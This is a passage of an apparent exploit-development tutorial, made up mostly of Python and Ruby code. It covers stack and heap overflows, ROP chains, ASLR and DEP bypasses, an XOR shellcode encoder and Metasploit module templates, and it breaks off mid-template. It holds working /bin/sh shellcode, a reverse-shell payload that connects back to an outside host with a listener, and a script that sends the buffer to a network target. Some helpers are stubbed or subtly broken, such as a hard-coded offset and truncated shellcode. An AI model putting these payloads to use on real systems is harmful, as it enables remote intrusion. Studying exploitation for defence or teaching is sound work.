self.crash_logs = []
def generate_pattern(self, length):
"""Generate cyclic pattern for offset discovery"""
pattern = ""
for i in range(0, length, 4):
# Generate unique 4-byte pattern
pattern += struct.pack("<I", 0x41414141 + i).decode('ascii', 'ignore')
return pattern[:length]
def find_offset(self, crash_length=100):
"""Find exact offset to overwrite EIP"""
# Generate pattern
pattern = self.generate_pattern(crash_length)
# Run program with pattern
try:
result = subprocess.run(
[self.binary, pattern],
capture_output=True,
timeout=1
)
except subprocess.TimeoutExpired:
pass
# Check if crashed and get crash info
# In real scenario, would use a debugger like GDB
print(f"[*] Testing with {crash_length} bytes...")
# Simplified offset detection
# In practice, you'd use pattern_offset.rb or similar
return 64 # Example offset
def test_overflow(self, offset, ret_address, shellcode):
"""Test specific overflow with return address"""
# Build exploit buffer
buffer = b'A' * offset
buffer += struct.pack("<I", ret_address) # Return address
buffer += b'\x90' * 16 # NOP sled
buffer += shellcode
# Run with exploit
try:
result = subprocess.run(
[self.binary, buffer],
capture_output=True,
timeout=1
)
return result.returncode != 0
except subprocess.TimeoutExpired:
return True # Crashed/timeout might indicate success
def bruteforce_ret_address(self, offset, shellcode, start=0xbffff000, end=0xbfffffff, step=0x10):
"""Bruteforce return address (for stack-based exploits)"""
for ret in range(start, end, step):
if self.test_overflow(offset, ret, shellcode):
print(f"[+] Possible working return address: 0x{ret:08x}")
return ret
return None
# Example usage (simulated)
tester = BufferOverflowTester('./vuln')
offset = tester.find_offset(100)
print(f"[+] Offset to EIP: {offset} bytes")GDB Automation for Exploit Development:
#!/usr/bin/env python3
# gdb_automation.py
import pexpect
import re
class GDBExploitHelper:
def __init__(self, binary):
self.binary = binary
self.gdb = None
def start_gdb(self):
"""Start GDB session"""
self.gdb = pexpect.spawn(f'gdb {self.binary}')
self.gdb.expect('\(gdb\)')
def set_breakpoint(self, function):
"""Set breakpoint at function"""
self.gdb.sendline(f'break {function}')
self.gdb.expect('\(gdb\)')
def run_with_input(self, input_data):
"""Run program with input"""
self.gdb.sendline(f'r {input_data}')
def get_register_value(self, register):
"""Get value of register"""
self.gdb.sendline(f'info register {register}')
self.gdb.expect(f'{register}\s+([0-9a-fx]+)')
match = self.gdb.after
if match:
value = re.search(r'0x[0-9a-f]+', match.decode())
return value.group(0) if value else None
return None
def examine_memory(self, address, count=16):
"""Examine memory at address"""
self.gdb.sendline(f'x/{count}x {address}')
self.gdb.expect('\(gdb\)')
return self.gdb.before.decode()
def find_offset_with_pattern(self, pattern_length=100):
"""Use GDB to find exact offset"""
# Generate pattern using Metasploit's pattern_create
import subprocess
pattern = subprocess.check_output([
'pattern_create.rb', '-l', str(pattern_length)
]).decode().strip()
# Run with pattern
self.start_gdb()
self.run_with_input(f'"{pattern}"')
# Check if crashed and get EIP value
try:
self.gdb.expect('Program received signal', timeout=1)
eip = self.get_register_value('eip')
if eip:
# Use pattern_offset to find offset
offset = subprocess.check_output([
'pattern_offset.rb', '-q', eip
]).decode()
return offset
except pexpect.TIMEOUT:
print("[-] Program didn't crash")
return None
def close(self):
if self.gdb:
self.gdb.sendline('quit')
self.gdb.close()
# Example usage
helper = GDBExploitHelper('./vuln')
offset = helper.find_offset_with_pattern(200)
print(f"[+] Offset found: {offset}")
helper.close()Understanding the difference between stack and heap memory is crucial for exploit development.
#!/usr/bin/env python3
# stack_exploitation.py
class StackExploitation:
def __init__(self):
self.techniques = {
'direct_ret': 'Directly overwrite return address with shellcode address',
'nop_sled': 'Use NOP instructions to increase chance of hitting shellcode',
'ret2libc': 'Return to libc functions (bypasses NX bit)',
'rop': 'Return-Oriented Programming - chain small instruction sequences'
}
def demonstrate_nop_sled(self):
"""Show NOP sled concept"""
print("[+] NOP Sled Technique:")
print(" Lower Addresses")
print(" +-----------------+")
print(" | |")
print(" | Shellcode | <- Shellcode to execute")
print(" | |")
print(" +-----------------+")
print(" | NOP |")
print(" | NOP | <- NOP sled (increase hit chance)")
print(" | NOP |")
print(" +-----------------+")
print(" | Return Addr | <- Points somewhere in NOP sled")
print(" +-----------------+")
print(" | |")
print(" | Buffer |")
print(" +-----------------+")
print(" Higher Addresses")
def generate_nop_sled(self, length):
"""Generate NOP sled of specified length"""
# x86 NOP is 0x90
return b'\x90' * length
def demonstrate_ret2libc(self):
"""Show ret2libc technique"""
print("\n[+] ret2libc Technique (bypass NX):")
print(" Instead of executing shellcode on stack,")
print(" we return to existing libc functions:")
print("\n Stack Layout:")
print(" +-----------------+")
print(" | system() addr | <- Return to system()")
print(" +-----------------+")
print(" | exit() addr | <- Return after system()")
print(" +-----------------+")
print(" | \"/bin/sh\" addr | <- Argument to system()")
print(" +-----------------+")
def build_ret2libc_chain(self, system_addr, exit_addr, binsh_addr):
"""Build ret2libc exploit chain"""
chain = b''
chain += b'A' * 64 # Buffer padding
chain += struct.pack('<I', system_addr) # system() address
chain += struct.pack('<I', exit_addr) # exit() address
chain += struct.pack('<I', binsh_addr) # "/bin/sh" address
return chain
# Example usage
stack_exp = StackExploitation()
stack_exp.demonstrate_nop_sled()
stack_exp.demonstrate_ret2libc()#!/usr/bin/env python3
# heap_exploitation.py
class HeapExploitation:
def __init__(self):
self.techniques = {
'heap_overflow': 'Overflowing heap buffers to corrupt adjacent metadata',
'use_after_free': 'Using memory after it has been freed',
'double_free': 'Freeing the same memory twice',
'unlink_exploit': 'Exploiting heap unlink operations'
}
def demonstrate_heap_layout(self):
"""Show heap chunk layout"""
print("[+] Heap Chunk Layout (glibc malloc):")
print(" +---------------------------+")
print(" | prev_size (if previous | <- Previous chunk size")
print(" | chunk is free) |")
print(" +---------------------------+")
print(" | size (includes flags) | <- Current chunk size")
print(" +---------------------------+")
print(" | |")
print(" | User Data | <- Application data")
print(" | |")
print(" +---------------------------+")
print(" | |")
print(" | Next chunk metadata |")
print(" +---------------------------+")
def demonstrate_unlink_exploit(self):
"""Show unlink exploitation technique"""
print("\n[+] Unlink Exploit:")
print(" When chunks are consolidated, the unlink macro:")
print("\n FD = P->fd")
print(" BK = P->bk")
print(" FD->bk = BK")
print(" BK->fd = FD")
print("\n By controlling FD and BK, we can write arbitrary values")
print(" Example: FD = target_address - 12")
print(" BK = shellcode_address")
print(" Results in: target_address = shellcode_address")
def demonstrate_use_after_free(self):
"""Show use-after-free exploitation"""
print("\n[+] Use-After-Free:")
print(" 1. Allocate chunk A")
print(" 2. Free chunk A")
print(" 3. Allocate chunk B (same size) - gets freed chunk A")
print(" 4. Program still uses pointer to A, but now points to B's data")
def create_fake_chunk(self, size, fd, bk):
"""Create fake chunk metadata"""
fake_chunk = b''
fake_chunk += struct.pack('<I', 0) # prev_size
fake_chunk += struct.pack('<I', size) # size
fake_chunk += struct.pack('<I', fd) # forward pointer
fake_chunk += struct.pack('<I', bk) # backward pointer
return fake_chunk
# Example usage
heap_exp = HeapExploitation()
heap_exp.demonstrate_heap_layout()
heap_exp.demonstrate_unlink_exploit()Shellcode is small, position-independent code used as the payload in exploits.
#!/usr/bin/env python3
# shellcode_development.py
import subprocess
import struct
class ShellcodeGenerator:
def __init__(self):
self.shellcodes = {}
def generate_linux_execve(self):
"""Generate Linux execve(/bin/sh) shellcode"""
# x86 Linux execve shellcode
shellcode = (
b"\x31\xc0" # xor eax, eax
b"\x50" # push eax
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin"
b"\x89\xe3" # mov ebx, esp
b"\x50" # push eax
b"\x53" # push ebx
b"\x89\xe1" # mov ecx, esp
b"\x99" # cdq
b"\xb0\x0b" # mov al, 0xb (execve syscall)
b"\xcd\x80" # int 0x80
)
self.shellcodes['linux_execve'] = shellcode
return shellcode
def generate_linux_reverse_shell(self, ip, port):
"""Generate reverse shell shellcode"""
# Convert IP and port to hex
ip_parts = ip.split('.')
ip_hex = struct.pack('>I', (int(ip_parts[0]) << 24) |
(int(ip_parts[1]) << 16) |
(int(ip_parts[2]) << 8) |
int(ip_parts[3]))
port_hex = struct.pack('>H', port)
# x86 Linux reverse shell (simplified)
shellcode = (
b"\x31\xc0" # xor eax, eax
b"\x31\xdb" # xor ebx, ebx
b"\x31\xc9" # xor ecx, ecx
b"\x31\xd2" # xor edx, edx
b"\x66\xb8\x67\x01" # mov ax, 0x167 (socketcall)
b"\xb3\x01" # mov bl, 0x1 (socket)
b"\xcd\x80" # int 0x80
# ... (full reverse shell shellcode is longer)
)
return shellcode
def generate_bind_shell(self, port):
"""Generate bind shell shellcode"""
port_hex = struct.pack('>H', port)
# x86 Linux bind shell (simplified)
shellcode = (
b"\x31\xc0" # xor eax, eax
b"\x31\xdb" # xor ebx, ebx
b"\x31\xc9" # xor ecx, ecx
b"\x31\xd2" # xor edx, edx
# ... (full bind shell shellcode is longer)
)
return shellcode
def generate_alpha_numeric(self, shellcode):
"""Convert shellcode to alphanumeric (for restricted inputs)"""
# This would use a decoder stub
# Simplified example
print("[*] Alphanumeric shellcode generation is complex")
print(" Tools like msfvenom can generate alphanumeric shellcode")
return shellcode
def encode_shellcode(self, shellcode, encoder='xor'):
"""Encode shellcode to avoid bad characters"""
if encoder == 'xor':
# Simple XOR encoder
key = 0xaa
encoded = bytes([b ^ key for b in shellcode])
# Add decoder stub
decoder = (
b"\xeb\x0d" # jmp short 0x1f
b"\x5e" # pop esi
b"\x31\xc9" # xor ecx, ecx
b"\xb1" + bytes([len(shellcode)]) # mov cl, len
b"\x80\x36" + bytes([key]) # xor byte [esi], key
b"\x46" # inc esi
b"\xe2\xfa" # loop 0x10
b"\xeb\x05" # jmp short 0x1a
b"\xe8\xee\xff\xff\xff" # call 0x8
)
return decoder + encoded
return shellcode
def test_shellcode(self, shellcode):
"""Test shellcode in a C wrapper"""
# Create test C program
c_code = f'''
#include <stdio.h>
#include <string.h>
unsigned char code[] = {repr(shellcode)};
int main() {{
void (*func)() = (void(*)())code;
printf("Shellcode length: %d\\n", strlen(code));
printf("Executing shellcode...\\n");
func();
return 0;
}}
'''
with open('test_shellcode.c', 'w') as f:
f.write(c_code)
# Compile and run
subprocess.run(['gcc', '-fno-stack-protector', '-z', 'execstack',
'-o', 'test_shellcode', 'test_shellcode.c'])
print("[*] Shellcode compiled to test_shellcode")
print("[!] Run './test_shellcode' to test (may be dangerous!)")
# Example usage
sc_gen = ShellcodeGenerator()
# Generate execve shellcode
execve_sc = sc_gen.generate_linux_execve()
print(f"[+] execve shellcode ({len(execve_sc)} bytes):")
print(''.join(f'\\x{b:02x}' for b in execve_sc))
# Encode to avoid bad characters
encoded = sc_gen.encode_shellcode(execve_sc, 'xor')
print(f"\n[+] Encoded shellcode ({len(encoded)} bytes)")Shellcode Testing with Python:
#!/usr/bin/env python3
# shellcode_tester.py
import ctypes
import mmap
import struct
class ShellcodeTester:
def __init__(self):
self.shellcode = None
def allocate_executable_memory(self, size):
"""Allocate executable memory for shellcode"""
# Use mmap to allocate executable memory
libc = ctypes.CDLL("libc.so.6")
MAP_ANONYMOUS = 0x20
MAP_PRIVATE = 0x02
PROT_READ = 0x1
PROT_WRITE = 0x2
PROT_EXEC = 0x4
addr = libc.mmap(
0, size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0
)
return addr
def test_shellcode(self, shellcode):
"""Test shellcode in isolated environment"""
# Allocate memory
mem = self.allocate_executable_memory(len(shellcode))
# Copy shellcode
ctypes.memmove(mem, shellcode, len(shellcode))
# Cast to function and call
func = ctypes.CFUNCTYPE(None)(mem)
print("[*] About to execute shellcode...")
print("[!] This may be dangerous! Press Ctrl+C to abort")
try:
func() # Execute shellcode
print("[+] Shellcode executed")
except Exception as e:
print(f"[-] Error executing shellcode: {e}")
except KeyboardInterrupt:
print("\n[!] Aborted by user")
def find_bad_chars(self, shellcode):
"""Identify bad characters in shellcode"""
bad_chars = [0x00, 0x0a, 0x0d] # Common bad chars: null, newline, carriage return
bad_found = []
for bad in bad_chars:
if bad in shellcode:
bad_found.append(hex(bad))
if bad_found:
print(f"[!] Bad characters found: {', '.join(bad_found)}")
else:
print("[+] No common bad characters found")
return bad_found
# Example usage (be careful!)
tester = ShellcodeTester()
# Example shellcode (should be replaced with actual generated shellcode)
example_shellcode = b"\x90\x90\x90\x90" # NOP sled
tester.find_bad_chars(example_shellcode)
# tester.test_shellcode(example_shellcode) # DANGEROUS - use with cautionROP is a technique that allows attackers to execute code despite defenses like non-executable memory (NX bit).
#!/usr/bin/env python3
# rop_fundamentals.py
import struct
class ROPBuilder:
def __init__(self, binary):
self.binary = binary
self.gadgets = []
self.chain = []
def find_gadgets(self):
"""Find ROP gadgets (using ROPgadget tool)"""
import subprocess
print(f"[*] Finding gadgets in {self.binary}...")
try:
result = subprocess.run(
['ROPgadget', '--binary', self.binary],
capture_output=True,
text=True
)
# Parse gadgets
for line in result.stdout.split('\n'):
if '0x' in line and ':' in line:
addr, gadget = line.split(':', 1)
addr = int(addr.strip(), 16)
gadget = gadget.strip()
# Store interesting gadgets
if 'pop' in gadget or 'ret' in gadget or 'int 0x80' in gadget:
self.gadgets.append({
'address': addr,
'gadget': gadget
})
print(f"[+] Found {len(self.gadgets)} gadgets")
except FileNotFoundError:
print("[-] ROPgadget not found. Install with: pip install ropgadget")
return self.gadgets
def build_execve_chain(self, binsh_addr):
"""Build ROP chain for execve syscall"""
# Find necessary gadgets
pop_eax = self.find_gadget_by_instruction('pop eax')
pop_ebx = self.find_gadget_by_instruction('pop ebx')
pop_ecx = self.find_gadget_by_instruction('pop ecx')
pop_edx = self.find_gadget_by_instruction('pop edx')
int80 = self.find_gadget_by_instruction('int 0x80')
if not all([pop_eax, pop_ebx, pop_ecx, pop_edx, int80]):
print("[-] Could not find all required gadgets")
return None
# Build chain
chain = []
# Set eax = 11 (execve syscall)
chain.append(pop_eax['address'])
chain.append(11)
# Set ebx = address of "/bin/sh"
chain.append(pop_ebx['address'])
chain.append(binsh_addr)
# Set ecx = 0 (argv)
chain.append(pop_ecx['address'])
chain.append(0)
# Set edx = 0 (envp)
chain.append(pop_edx['address'])
chain.append(0)
# Execute syscall
chain.append(int80['address'])
return chain
def find_gadget_by_instruction(self, instruction):
"""Find gadget containing specific instruction"""
for gadget in self.gadgets:
if instruction in gadget['gadget']:
return gadget
return None
def demonstrate_rop_chain(self):
"""Show ROP chain visualization"""
print("\n[+] ROP Chain Visualization:")
print(" Stack grows downward (higher to lower addresses)")
print("\n +-----------------+ <-- ESP")
print(" | gadget1_addr |")
print(" +-----------------+")
print(" | param1 |")
print(" +-----------------+")
print(" | gadget2_addr |")
print(" +-----------------+")
print(" | param2 |")
print(" +-----------------+")
print(" | gadget3_addr |")
print(" +-----------------+")
print(" | ... |")
print(" +-----------------+")
def chain_to_bytes(self, chain):
"""Convert ROP chain to bytes for exploit"""
if not chain:
return b''
result = b''
for addr in chain:
result += struct.pack('<I', addr) # Little-endian
return result
# Example usage
rop = ROPBuilder('./vuln')
gadgets = rop.find_gadgets()
if gadgets:
# Example - assume we have "/bin/sh" at address 0xbffff5c0
chain = rop.build_execve_chain(0xbffff5c0)
if chain:
print(f"[+] ROP chain built with {len(chain)} gadgets")
chain_bytes = rop.chain_to_bytes(chain)
print(f"[+] Chain bytes: {chain_bytes.hex()}")#!/usr/bin/env python3
# rop_advanced.py
class AdvancedROP:
def __init__(self):
self.techniques = {
'ret2csu': 'Using __libc_csu_init gadgets for complex setups',
'sigreturn': 'Using sigreturn syscall to set all registers',
'rop_chain_combining': 'Combining multiple ROP chains',
'blind_rop': 'ROP without knowing binary addresses (BROP)'
}
def demonstrate_ret2csu(self):
"""Show ret2csu technique for x86_64"""
print("[+] ret2csu Technique (x86_64):")
print(" Uses gadgets from __libc_csu_init:")
print("\n Gadget 1:")
print(" pop rbx")
print(" pop rbp")
print(" pop r12")
print(" pop r13")
print(" pop r14")
print(" pop r15")
print(" ret")
print("\n Gadget 2:")
print(" mov rdx, r15")
print(" mov rsi, r14")
print(" mov edi, r13d")
print(" call qword [r12+rbx*8]")
print(" ...")
print(" ret")
def demonstrate_sigreturn(self):
"""Show sigreturn ROP technique"""
print("\n[+] Sigreturn ROP:")
print(" Uses the sigreturn syscall to set all registers:")
print("\n Stack Layout for sigreturn:")
print(" +-----------------+")
print(" | rt_sigreturn | <- Syscall number")
print(" +-----------------+")
print(" | 0x00000000 | <- Fake sigcontext")
print(" | RAX value |")
print(" | RBX value |")
print(" | RCX value |")
print(" | ... |")
print(" +-----------------+")
def generate_sigreturn_frame(self, regs):
"""Generate sigreturn frame for x86_64"""
# This is a simplified frame - actual is larger
frame = b''
frame += struct.pack('<Q', regs.get('rax', 0))
frame += struct.pack('<Q', regs.get('rbx', 0))
frame += struct.pack('<Q', regs.get('rcx', 0))
frame += struct.pack('<Q', regs.get('rdx', 0))
frame += struct.pack('<Q', regs.get('rsi', 0))
frame += struct.pack('<Q', regs.get('rdi', 0))
frame += struct.pack('<Q', regs.get('rbp', 0))
frame += struct.pack('<Q', regs.get('rsp', 0))
frame += struct.pack('<Q', regs.get('rip', 0))
frame += struct.pack('<Q', regs.get('rflags', 0))
# ... more registers
return frame
# Example usage
adv_rop = AdvancedROP()
adv_rop.demonstrate_ret2csu()
adv_rop.demonstrate_sigreturn()Modern systems implement multiple protections that exploit developers must bypass.
#!/usr/bin/env python3
# aslr_bypass.py
class ASLRBypass:
def __init__(self):
self.techniques = {
'info_leak': 'Leak memory addresses through vulnerabilities',
'partial_overwrite': 'Overwrite only lower bytes of addresses',
'ret2plt': 'Use PLT entries which are not randomized',
'bruteforce': 'Brute force 8-16 bits of randomness on 32-bit',
'heap_spraying': 'Fill heap with shellcode to increase hit chance'
}
def demonstrate_info_leak(self):
"""Show how info leaks bypass ASLR"""
print("[+] Info Leak Technique:")
print(" 1. Find vulnerability that leaks memory (format string, UAF)")
print(" 2. Leak address of libc function (e.g., printf@got)")
print(" 3. Calculate libc base = leaked_addr - function_offset")
print(" 4. Calculate system() = libc_base + system_offset")
print(" 5. Build exploit with known addresses")
def demonstrate_partial_overwrite(self):
"""Show partial overwrite technique"""
print("\n[+] Partial Overwrite (24-bit):")
print(" On 32-bit systems with ASLR, only 8-16 bits are randomized")
print(" We can overwrite only the lower 2 bytes of return address")
print("\n Original: 0xb7f5c420 (randomized)")
print(" Overwrite lower 2 bytes: 0xb7f5XXXX")
print(" Brute force 65536 possibilities instead of 4 billion")
def demonstrate_ret2plt(self):
"""Show ret2plt technique"""
print("\n[+] ret2plt:")
print(" PLT (Procedure Linkage Table) entries are not randomized")
print(" We can call functions via PLT without knowing libc addresses")
print("\n Example:")
print(" Call system@plt with argument pointing to '/bin/sh'")
def calculate_aslr_entropy(self, arch='x86_64'):
"""Calculate ASLR entropy for different architectures"""
entropy = {
'x86': {
'stack': '19 bits',
'mmap': '16 bits',
'exec': '16 bits',
'heap': '13 bits'
},
'x86_64': {
'stack': '28 bits',
'mmap': '28 bits',
'exec': '28 bits',
'heap': '13 bits'
},
'arm': {
'stack': '14-16 bits',
'mmap': '14-16 bits',
'exec': '14-16 bits',
'heap': '8-12 bits'
}
}
return entropy.get(arch, entropy['x86_64'])
def bruteforce_aslr_32bit(self, probability=0.5):
"""Calculate bruteforce attempts for 32-bit ASLR"""
# 16 bits of randomness = 65536 possibilities
possibilities = 65536
attempts = int(possibilities * probability)
return {
'total_possibilities': possibilities,
f'attempts_for_{probability*100}%': attempts
}
# Example usage
aslr = ASLRBypass()
aslr.demonstrate_info_leak()
aslr.demonstrate_partial_overwrite()
entropy = aslr.calculate_aslr_entropy('x86_64')
print(f"\n[+] ASLR Entropy for x86_64: {entropy}")
bruteforce = aslr.bruteforce_aslr_32bit(0.5)
print(f"[+] 32-bit ASLR bruteforce: {bruteforce}")#!/usr/bin/env python3
# dep_bypass.py
class DEPBypass:
def __init__(self):
self.techniques = {
'ret2libc': 'Return to existing libc functions',
'mprotect': 'Use mprotect() to make stack executable',
'rop': 'Return-Oriented Programming',
'jmp_esp': 'Jump to shellcode in non-executable memory'
}
def demonstrate_ret2libc_dep(self):
"""Show ret2libc for DEP bypass"""
print("[+] ret2libc for DEP Bypass:")
print(" 1. Find addresses of system() and exit() in libc")
print(" 2. Find address of '/bin/sh' string")
print(" 3. Build stack: [system()] [exit()] ['/bin/sh' addr]")
print(" 4. Overflow buffer to return to system()")
def demonstrate_mprotect(self):
"""Show mprotect technique"""
print("\n[+] mprotect Technique:")
print(" 1. Call mprotect() to change stack permissions")
print(" 2. mprotect(stack_addr, size, PROT_READ|PROT_WRITE|PROT_EXEC)")
print(" 3. Return to shellcode on stack")
def build_mprotect_chain(self, mprotect_addr, stack_addr, shellcode):
"""Build ROP chain for mprotect + shellcode"""
chain = []
# Call mprotect(stack_addr, size, 7)
chain.append(mprotect_addr) # mprotect function
chain.append(0xdeadbeef) # return address (any)
chain.append(stack_addr) # arg1: stack address
chain.append(0x10000) # arg2: size
chain.append(7) # arg3: PROT_READ|WRITE|EXEC (7)
return chain
def check_dep_status(self, binary):
"""Check if binary has DEP enabled"""
import subprocess
try:
result = subprocess.run(
['readelf', '-l', binary],
capture_output=True,
text=True
)
if 'GNU_STACK' in result.stdout:
if 'RWE' in result.stdout:
print(f"[!] {binary} has executable stack (DEP disabled)")
return False
else:
print(f"[+] {binary} has non-executable stack (DEP enabled)")
return True
except:
print("[-] Could not check DEP status")
return None
# Example usage
dep = DEPBypass()
dep.demonstrate_ret2libc_dep()
dep.demonstrate_mprotect()
# Check DEP on binary
dep_status = dep.check_dep_status('/bin/ls')
print(f"[*] DEP enabled: {dep_status}")#!/usr/bin/env python3
# complete_exploit.py
import struct
import socket
import sys
class CompleteExploit:
def __init__(self, target, port, vuln_type='stack_overflow'):
self.target = target
self.port = port
self.vuln_type = vuln_type
def build_exploit_stack(self, offset, ret_addr, shellcode):
"""Build full exploit buffer"""
exploit = b''
exploit += b'A' * offset # Padding to return address
exploit += struct.pack('<I', ret_addr) # Return address
# NOP sled
exploit += b'\x90' * 100
# Shellcode
exploit += shellcode
return exploit
def get_linux_reverse_shell(self, lhost, lport):
"""Generate reverse shell shellcode"""
# This is a simplified example - use msfvenom for real shellcode
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
shellcode = b''
shellcode += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
shellcode += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68"
shellcode += socket.inet_aton(lhost)
shellcode += b"\x68\x02\x00"
shellcode += struct.pack('>H', lport)
shellcode += b"\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80"
shellcode += b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += b"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
return shellcode
def test_exploit_local(self, binary_path, exploit_buffer):
"""Test exploit locally"""
import subprocess
try:
result = subprocess.run(
[binary_path, exploit_buffer],
capture_output=True,
timeout=2
)
return result.returncode != 0
except subprocess.TimeoutExpired:
return True # Likely success (crashed)
except Exception as e:
print(f"[-] Error: {e}")
return False
def send_exploit_network(self, exploit_buffer):
"""Send exploit over network"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.target, self.port))
sock.send(exploit_buffer)
sock.close()
print(f"[+] Exploit sent to {self.target}:{self.port}")
return True
except Exception as e:
print(f"[-] Network error: {e}")
return False
def setup_listener(self, lport):
"""Setup listener for reverse shell"""
import threading
import socket
def handle_connection(client, addr):
print(f"[+] Connection from {addr}")
while True:
try:
data = client.recv(1024)
if not data:
break
print(data.decode(), end='')
except:
break
client.close()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', lport))
server.listen(1)
print(f"[*] Listening on 0.0.0.0:{lport}")
client, addr = server.accept()
handle_connection(client, addr)
# Example usage
exploit = CompleteExploit('192.168.1.100', 4444)
# Build exploit
offset = 64
ret_addr = 0xbffff5c0 # Example stack address
lhost = '192.168.1.50'
lport = 4444
shellcode = exploit.get_linux_reverse_shell(lhost, lport)
exploit_buffer = exploit.build_exploit_stack(offset, ret_addr, shellcode)
print(f"[+] Exploit buffer size: {len(exploit_buffer)} bytes")
print(f"[+] Shellcode size: {len(shellcode)} bytes")
# Send exploit
# exploit.send_exploit_network(exploit_buffer)
# Setup listener for reverse shell
# exploit.setup_listener(lport)The Metasploit Framework is the most widely used exploitation framework, providing a comprehensive platform for developing, testing, and executing exploits.
Understanding Metasploit's architecture is essential for effective use and module development.
#!/usr/bin/env python3
# metasploit_architecture.py
class MetasploitArchitecture:
def __init__(self):
self.components = {
'libraries': {
'rex': 'Basic library for handling sockets, protocols, etc.',
'msfcore': 'Core framework libraries',
'msfbase': 'Base classes for all modules'
},
'interfaces': {
'console': 'msfconsole - Interactive console',
'cli': 'Command-line interface',
'gui': 'Armitage, Web interface',
'api': 'REST API for remote control'
},
'modules': {
'exploit': 'Code that triggers a vulnerability',
'payload': 'Code that runs after successful exploitation',
'auxiliary': 'Scanning, fuzzing, etc. (no payload)',
'encoder': 'Transforms payloads to avoid detection',
'nop': 'NOP generators for exploit padding',
'post': 'Post-exploitation modules'
},
'plugins': {
'nexpose': 'Nexpose integration',
'nessus': 'Nessus integration',
'openvas': 'OpenVAS integration'
}
}
def show_module_types(self):
"""Display module type hierarchy"""
print("[+] Metasploit Module Hierarchy:")
print(" Module")
print(" ├── Exploit")
print(" │ ├── Windows")
print(" │ ├── Linux")
print(" │ ├── OS X")
print(" │ └── Multi-platform")
print(" ├── Payload")
print(" │ ├── Singles")
print(" │ ├── Stagers")
print(" │ └── Stages")
print(" ├── Auxiliary")
print(" │ ├── Scanner")
print(" │ ├── Fuzzer")
print(" │ └── Dos")
print(" ├── Encoder")
print(" └── Post")
def explain_mixins(self):
"""Explain Ruby mixins in Metasploit"""
print("\n[+] Important Metasploit Mixins:")
mixins = {
'Msf::Exploit::Remote::Tcp': 'TCP socket handling',
'Msf::Exploit::Remote::HttpClient': 'HTTP client functionality',
'Msf::Exploit::Remote::SMB': 'SMB protocol handling',
'Msf::Exploit::FileDropper': 'File upload/cleanup',
'Msf::Post::Windows::Priv': 'Windows privilege functions',
'Msf::Post::Linux::Priv': 'Linux privilege functions'
}
for mixin, desc in mixins.items():
print(f" {mixin}: {desc}")
# Example usage
arch = MetasploitArchitecture()
arch.show_module_types()
arch.explain_mixins()Metasploit modules are the building blocks of the framework.
# Example Metasploit module (Ruby)
# save as exploit.rb
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Exploit Module',
'Description' => %q{
This is an example exploit module showing the structure
of a Metasploit module.
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-0001'],
['EDB', '12345']
],
'Platform' => 'win',
'Targets' =>
[
['Windows 10',
{
'Ret' => 0x41414141,
'Offset' => 64
}
]
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d"
},
'Privileged' => false,
'DisclosureDate' => '2024-01-01'
))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The target URI', '/vuln.php'])
])
end
def check
# Check if target is vulnerable
connect
# ... detection logic
disconnect
return Exploit::CheckCode::Vulnerable
end
def exploit
# Main exploitation logic
connect
# Build buffer
buffer = rand_text_alpha(target['Offset'])
buffer << [target['Ret']].pack('V')
buffer << make_nops(16)
buffer << payload.encoded
# Send exploit
sock.put(buffer)
handler
disconnect
end
endPython Script to Generate Metasploit Module:
#!/usr/bin/env python3
# msf_module_generator.py
class MSFModuleGenerator:
def __init__(self, module_name, module_type='exploit'):
self.name = module_name
self.type = module_type
self.template = ""
def generate_exploit_module(self, options):
"""Generate exploit module template"""
template = f'''
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = {options.get('rank', 'NormalRanking')}
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {{}})
super(update_info(info,
'Name' => '{options.get('name', self.name)}',
'Description' => %q{{
{options.get('description', 'Description here')}
}},
'Author' => {options.get('author', ['Your Name'])},
'License' => MSF_LICENSE,
'References' => {options.get('references', [])},
'Platform' => '{options.get('platform', 'win')}',
'Targets' => {options.get('targets', [['Windows Universal', {{}}]])},
'Payload' => {{
'BadChars' => {options.get('badchars', "\\x00\\x0a\\x0d")}
}},
'DisclosureDate' => '{options.get('disclosure_date', '2024-01-01')}'
))
register_options(
[
Opt::RPORT({options.get('port', 80)}),
OptString.new('TARGETURI', [true, 'The target URI', '{options.get('uri', '/')}'])
])
end
def check
# Check if target is vulnerable
res = send_request_cgi({{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}})
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Exploiting target...")
# Build exploit buffer
buffer = rand_text_alpha(1024)
# Send exploit
res = send_request_cgi({{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => buffer
}})
if res
print_status("Server responded with code: {{res.code}}")
end
handler
end
end
'''
return template
def generate_auxiliary_module(self, options):
"""Generate auxiliary module template"""
template = f'''
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {{}})
super(update_info(info,
'Name' => '{options.get('name', self.name)}',
'Description' => %q{{
